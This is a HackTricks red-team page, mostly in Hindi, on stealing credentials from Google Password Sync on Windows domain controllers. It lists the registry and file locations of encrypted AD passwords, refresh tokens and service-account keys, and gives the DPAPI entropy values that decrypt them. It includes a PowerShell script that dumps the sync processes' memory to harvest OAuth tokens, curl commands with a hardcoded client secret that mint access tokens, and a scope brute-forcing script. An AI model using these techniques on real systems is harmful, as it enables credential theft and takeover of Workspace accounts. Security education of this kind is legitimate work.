GPS - Google Password Sync

Reading time: 8 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

यह वह बाइनरी और सेवा है जो Google उपयोगकर्ताओं के पासवर्ड को AD और Workspace के बीच सिंक रखने के लिए प्रदान करता है। हर बार जब एक उपयोगकर्ता AD में अपना पासवर्ड बदलता है, तो इसे Google पर सेट किया जाता है।

यह C:\Program Files\Google\Password Sync में स्थापित होता है जहाँ आप इसे कॉन्फ़िगर करने के लिए बाइनरी PasswordSync.exe और password_sync_service.exe (सेवा जो चलती रहेगी) पा सकते हैं।

GPS - Configuration

इस बाइनरी (और सेवा) को कॉन्फ़िगर करने के लिए, इसे Workspace में एक सुपर एडमिन प्रिंसिपल तक पहुंच देना आवश्यक है:

  • Google के साथ OAuth के माध्यम से लॉगिन करें और फिर यह रजिस्ट्री में एक टोकन (एन्क्रिप्टेड) स्टोर करेगा
  • GUI के साथ डोमेन कंट्रोलर्स में ही उपलब्ध
  • Workspace उपयोगकर्ताओं को प्रबंधित करने के लिए GCP से कुछ सेवा खाता क्रेडेंशियल्स (json फ़ाइल) देना
  • यह बहुत बुरा विचार है क्योंकि ये क्रेडेंशियल्स कभी समाप्त नहीं होते और इसका दुरुपयोग किया जा सकता है
  • Workspace पर SA को एक्सेस देना बहुत बुरा विचार है क्योंकि SA GCP में समझौता किया जा सकता है और Workspace पर पिवट करना संभव होगा
  • Google इसे GUI के बिना डोमेन नियंत्रित करने के लिए आवश्यक करता है
  • ये क्रेडेंशियल्स भी रजिस्ट्री में स्टोर होते हैं

AD के संबंध में, इसे वर्तमान एप्लिकेशन संदर्भ, गुमनाम या कुछ विशिष्ट क्रेडेंशियल्स का उपयोग करने के लिए इंगित करना संभव है। यदि क्रेडेंशियल्स विकल्प चुना गया है, तो उपयोगकर्ता नाम एक फ़ाइल में डिस्क के अंदर स्टोर किया जाता है और पासवर्ड एन्क्रिप्टेड होता है और रजिस्ट्री में स्टोर किया जाता है।

GPS - Dumping password and token from disk

tip

ध्यान दें कि Winpeas GPS का पता लगाने, कॉन्फ़िगरेशन के बारे में जानकारी प्राप्त करने और यहां तक कि पासवर्ड और टोकन को डिक्रिप्ट करने में सक्षम है।

फ़ाइल C:\ProgramData\Google\Google Apps Password Sync\config.xml में AD के कॉन्फ़िगर किए गए baseDN और जिनके क्रेडेंशियल्स का उपयोग किया जा रहा है उनके username जैसी कॉन्फ़िगरेशन का एक भाग पाया जा सकता है।

रजिस्ट्री HKLM\Software\Google\Google Apps Password Sync में एन्क्रिप्टेड रिफ्रेश टोकन और AD उपयोगकर्ता के लिए एन्क्रिप्टेड पासवर्ड (यदि कोई हो) पाया जा सकता है। इसके अलावा, यदि टोकन के बजाय कुछ SA क्रेडेंशियल्स का उपयोग किया जाता है, तो उन एन्क्रिप्टेड को भी उस रजिस्ट्री पते में पाया जा सकता है। इस रजिस्ट्री के अंदर मान केवल प्रशासकों द्वारा पहुँच योग्य होते हैं।

एन्क्रिप्टेड पासवर्ड (यदि कोई हो) कुंजी ADPassword के अंदर है और इसे CryptProtectData API का उपयोग करके एन्क्रिप्ट किया गया है। इसे डिक्रिप्ट करने के लिए, आपको उसी उपयोगकर्ता होना चाहिए जिसने पासवर्ड सिंक को कॉन्फ़िगर किया था और CryptUnprotectData का उपयोग करते समय इस entropy का उपयोग करना चाहिए: byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };

एन्क्रिप्टेड टोकन (यदि कोई हो) कुंजी AuthToken के अंदर है और इसे CryptProtectData API का उपयोग करके एन्क्रिप्ट किया गया है। इसे डिक्रिप्ट करने के लिए, आपको उसी उपयोगकर्ता होना चाहिए जिसने पासवर्ड सिंक को कॉन्फ़िगर किया था और CryptUnprotectData का उपयोग करते समय इस entropy का उपयोग करना चाहिए: byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };
इसके अलावा, इसे 0123456789abcdefghijklmnopqrstv शब्दकोश के साथ base32hex में भी एन्कोड किया गया है।

एन्क्रिप्शन मानों को टूल का उपयोग करके पाया गया। इसे CryptUnprotectData और CryptProtectData के लिए कॉल की निगरानी करने के लिए कॉन्फ़िगर किया गया था और फिर इस टूल का उपयोग PasswordSync.exe को लॉन्च और मॉनिटर करने के लिए किया गया जो कॉन्फ़िगर किए गए पासवर्ड और ऑथ टोकन को शुरू में डिक्रिप्ट करेगा और टूल दोनों मामलों में उपयोग किए गए एंट्रॉपी के लिए मान दिखाएगा:

ध्यान दें कि इन APIs के कॉल के इनपुट या आउटपुट में डिक्रिप्टेड मानों को भी देखना संभव है (यदि किसी बिंदु पर Winpeas काम करना बंद कर दे)।

यदि पासवर्ड सिंक SA क्रेडेंशियल्स के साथ कॉन्फ़िगर किया गया था, तो यह रजिस्ट्री HKLM\Software\Google\Google Apps Password Sync के अंदर कुंजियों में भी स्टोर किया जाएगा।

GPS - Dumping tokens from memory

GCPW की तरह, PasswordSync.exe और password_sync_service.exe प्रक्रियाओं की मेमोरी को डंप करना संभव है और आप रिफ्रेश और एक्सेस टोकन (यदि पहले से उत्पन्न हो चुके हैं) पा सकेंगे।
मुझे लगता है कि आप AD कॉन्फ़िगर किए गए क्रेडेंशियल्स भी पा सकते हैं।

Dump PasswordSync.exe and the password_sync_service.exe processes and search tokens
bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Show EULA if it wasn't accepted yet for strings
$stringsPath

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$processNames = @("PasswordSync", "password_sync_service")
$chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

GPS - रिफ्रेश टोकन से एक्सेस टोकन उत्पन्न करना

रिफ्रेश टोकन का उपयोग करके, इसे और निम्नलिखित कमांड में निर्दिष्ट क्लाइंट आईडी और क्लाइंट सीक्रेट का उपयोग करके एक्सेस टोकन उत्पन्न करना संभव है:

bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token

GPS - Scopes

note

ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, आप एक्सेस टोकन के लिए कोई भी स्कोप अनुरोध नहीं कर सकते क्योंकि आप केवल उन स्कोप्स का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं

इसके अलावा, रिफ्रेश टोकन हर एप्लिकेशन में मान्य नहीं है।

डिफ़ॉल्ट रूप से GPS उपयोगकर्ता के रूप में हर संभावित OAuth स्कोप तक पहुंच नहीं होगी, इसलिए निम्नलिखित स्क्रिप्ट का उपयोग करके हम उन स्कोप्स को खोज सकते हैं जिन्हें refresh_token के साथ access_token उत्पन्न करने के लिए उपयोग किया जा सकता है:

Bash script to brute-force scopes
bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope           \r"
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt

और यह वह आउटपुट है जो मुझे लेखन के समय मिला:

https://www.googleapis.com/auth/admin.directory.user

जो वही है जो आपको मिलता है यदि आप कोई दायरा नहीं बताते हैं।

caution

इस दायरे के साथ आप एक मौजूदा उपयोगकर्ता का पासवर्ड संशोधित कर सकते हैं ताकि विशेषाधिकार बढ़ सके

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें